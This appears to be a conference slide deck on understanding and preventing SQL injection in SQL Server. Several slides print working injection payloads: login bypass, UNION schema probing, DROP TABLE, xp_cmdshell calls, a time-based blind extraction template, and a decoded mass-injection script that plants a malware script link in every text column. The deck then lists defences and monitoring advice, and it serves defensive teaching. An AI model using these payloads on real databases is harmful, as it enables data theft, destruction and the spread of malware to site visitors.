SQL Injection attacks are one of the most common hacker tricks used on the web. Learn what a SQL injection attack is and why you should be concerned about them. This all new session is loaded with demos. You’ll get to witness first-hand several different types of SQL injection attacks, how to find them, and how to block them.

1. SQLintersection
Understanding & Preventing SQL Injection Attacks
Kevin Kline
kkline@sqlsentry.com
SQL123

2. Overview
 What is SQL Injection?
 An Attacker’s Approach
 SQL Injection Techniques
 Preventing SQL Injection
 Security Best Practices & Tips
 Useful Links and Resources

3. Freebies!
 Free new ebooks (regularly $10) to all requests to sales@sqlsentry.com:

4. Context and Background

5. Like This…
Courtesy of http://xkcd.com/327/

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What is it and why should I care?
Understanding SQL Injection
6

7. What is SQL Injection?
 SQL injection occurs when a malicious user controls the criteria of SQL
statements and enters values that alter the original intention of the SQL
statement
 DEMO

8. Who is Vulnerable?
 All SQL database platforms are susceptible
 Bypasses firewall and network-based protections
 Applications that dynamically build and send SQL strings are most
vulnerable:
 Exploits the inexperienced developer
 Amplified by silos in IT teams
 SQL statement itself is hacked
 Formatting vulnerabilities

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Typical Webcode…
string cmdStr = @"SELECT order_id, order_date, qty
FROM Production.Orders
WHERE customer_name LIKE '%" + SearchText.Text
+ "%'";
using (SqlConnection conn = new SqlConnection(connStr))
using (SqlDataAdapter sda = new SqlDataAdapter(cmdStr, conn))
{
DataTable dtOrders = new DataTable();
sda.Fill(dtOrders);
return dtOrders.DefaultView;
}

10. 10
Injected Values Can Range from Bad…
The “Good” search text:
'Hanso Foundation'
The “Curious” search text:
'Widmore Industries' or 1=1 -- ‘
The “Exploratory” search text:
…ZZZ' UNION SELECT COLUMN_NAME, DATA_TYPE, TABLE_SCHEMA
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = 'Address' --

11. 11
…To Worse
The Ugly search text:
…ZZZ'; DROP TABLE customer_credit_card --
The REALLY UGLY search text:
…ZZZ'; xp_cmdshell(‘FTP …’)

12. Attack Methodology
Reconnaissance (Recon)
Scan for Vulnerabilities / Access (Scan)
Gain Access (Crack)
Escalate Privileges (Enhance)
Maintain/Expand Access (Expand)
Cover Tracks (Hide)

13. Attackers…
 …understand the concept of ‘surface area’
 …use error messages to learn about the structure of the underlying SQL
statements and database
 …exploit SQL formatting characters (single quotes, comment notation (--
), semi-colons, etc)

14. Then Attackers…
 …manipulate the SQL statements to learn about the structure of the
database and data
 …execute SQL statements at will
 …use built-in trap doors inside of the DBMS to go to the next level
 Upload their own files, even replacing your own
 Examine the rest of your infrastructure
 Download data
 Launch malware and bots

15. SQL Injection Techniques
 Probe databases, especially packaged apps
 Bypass authorization
 Cross-database and cross-server calls
 Execute multiple SQL statements
 Call built-in stored procedures
 Exit to the OS for command-line access
 Insert code to be used by the web app
 Swap DLL and other files for their own

16. Error Type:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Unclosed quotation mark before the character string ′having 1 = 1--′.
/Project1/MyDemoApp.exe, line 14
Probing Databases
 Web apps usually return connectivity error information – unless you trap
the errors!
 Hackers can use this information and continually modify parameters to
discover:
 Table names, column names, data types, row values

17. 17
Bypassing Authorization
Good Guy, passes these values - UserID: administrator
Password: GoodOne
SELECT *
FROM users
WHERE username = ‘administrator’
AND password = ‘GoodOne’;
Bad Guy, passes this value - UserID: ‘ OR 1=1 Password
--
SELECT *
FROM users
WHERE username = ‘’ OR 1=1 – and password =

18. 18
INSERT Statement Injections
Good Guy
INSERT INTO Authors (auName, EmailAddress)
VALUES (‘Julian Isla’, ‘juliani@hotmail.com)
Bad Guy
INSER INTO Authors (auName, EmailAddress)
VALUES (‘SELECT TOP 1 name FROM sys.sys_logins’,
badguy@hacker.com’);
EXEC xp_regread HKEY… ;
Very Bad Guy, uses scripting and text/xml fields

19. Blind SQL Injection
 Good apps trap default errors and show their own. Hackers flank this
with:
 Normal Blind: Get response data from error codes, severity levels, and HTTP
status codes
 Totally Blind: Gather data through IF…THEN testing, response times, logging,
and system functions.

20. © SQLintersection. All rights reserved.
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Blind Injection Example, #1
DECLARE @x as int;
DECLARE @w as char(6);
SET
@x=ASCII(SUBSTRING(master.dbo.fn_varbintohexstr(CAST({QU
ERY} as varbinary(8000))),{POSITION},1));
IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48;
SET @w='0:0:'+CAST(@x*{SECONDS} as char);
WAITFOR DELAY @w
2

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Cast Injection Example, #1
URL query string:
DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(400
0));EXEC(@S);--
Decoded:
DECLARE @S NVARCHAR(4000);
SET @S= CAST(0x440045004300...7200 AS NVARCHAR(4000));
EXEC(@S);--
SELECT CAST('this could be bad code' AS VARBINARY(256))
SELECT CAST(0x7468697320636F756C6420626520736F6D652062616420636F6465 AS VARCHAR(256))

22. © SQLintersection. All rights reserved.
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Cast Injection Example, #2
Final SQL code being executed (hex value decoded):
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND
(b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
EXEC('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script
src=http://www.211796*.net/f****p.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

23. Attack Vector To Other Resources
 Attackers have chosen not to go after data
 Targets have been legitimate web sites
 Plant links and redirects to malware sites
 Use of a blended attack (browser vulnerability) to infect the client
computer
 Take control of client computers

24. © SQLintersection. All rights reserved.
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Hey, do you think we should lock the doors, mom?
Preventing SQL Injection
24

25. © SQLintersection. All rights reserved.
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Simple Rules Applied Logically
Server
- Make sure data and log
files are on NTFS with
proper ACLs applied.
- Disable any service that is
unneeded and unused (e.g.
SQL Browser service,
unneeded network
protocols); Consider
Windows Core
- Use Windows
Authentication where
feasible..
Database
- Enable ‘Non-sysadmin job
step proxy account’ on SQL
Server Agent.
- Restrict system stored
proc’s and XP’s to SA-only
- Remove guest from all but
master and tempdb
- Provision by role, not user
- Demand security savvy
third-party applications!
Accounts
- Noone gets SA, except SA.
- Separate accounts for SQL
Server and SQL Agent
services.
- Don’t use local service
account for services.
SQL Code
- Input validation: Black list
vs white list
- Use stored procedure to
hide application logic. No
default error messages. No
direct access to tables
- Use parameterized input,
not string concatenation
- Multi layered input
checking: application,
stored procedure, database
schema

26. Monitoring for SQL Injection
 Monitor failed login attempts. Alert when they’re frequent.
 Check for null and weak passwords frequently within your apps. SQLPing
tool is great for this.
 Check for non-SA permissions on all system SPs and XPs
 Microsoft Assessment and Planning (MAP) is a great tool to research
your total estate, available at http://www.Microsoft.com/MAP.
 Xevent or Trace for non-SA execution of:
• Execute at command prompt ( xp_cmdshell )
• Registry read and write operations (xp_regaddmultistring, xp_regdeletekey,
xp_regdeletevalue, xp_regenumkeys, xp_regenumvalues, xp_regread,
xp_regremovemultistring, xp_regwrite)
• Checking Services ( xp_servicecontrol )
• Visual media in the system ( xp_availablemedia )
• Directory Tree to get URL ( xp_dirtree )
• ODBC resourcer Listing ( xp_enumdsn )
• Log in to find a modem ( xp_loginconfig )
• Cabin Archive Creation ( xp_makecab )
• Finding Domain ( xp_ntsec_enumdomains )
• To terminate the process PID ( xp_terminate_process )
• Add new stored extended procedures ( sp_addextendedproc )
Stored Procedure Delete (sp_dropextendedproc)
• UNC files including writing out (sp_makewebtask)

27. Summary
 Do NOT Trust User Input.
 Remember the principle of “Least Privilege”.
 Defense in Depth: Middle tier  App  Database 
SQL Code
 Fail Intelligently: Filter default error messages and
limit the information in custom error messages.
 Minimize the “attack surface”: Remove unused
stored procedures, views, and UDFs. Use views and
stored procedures instead of base tables.
 Use Parameterized Queries or Stored Procedures: Do
NOT use string concatenations to build SQL queries.
 Test Security!

28. Resources
 http://www.sqlsecurity.com – my favorite for broad security and tools
on SQL Server
 Microsoft SQL Injection white paper at http://msdn.microsoft.com/en-
us/library/ms161953.aspx
 How-to: Prevent SQL Injection on ASP.Net
http://msdn.microsoft.com/en-us/library/ms998271.aspx
 A Dutch research paper (in English) discussing platform independent
ways to defend against SQL injections:
http://swerl.tudelft.nl/twiki/pub/Main/TechnicalReports/TUD-SERG-
2007-003.pdf
 SQL Injection Cheat Sheet: http://ferruh.mavituna.com/sql-injection-
cheatsheet-oku/

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Thank you!
Understanding & Preventing SQL Injection Attacks
Kevin Kline, @KEKline, kkline@sqlsentry.com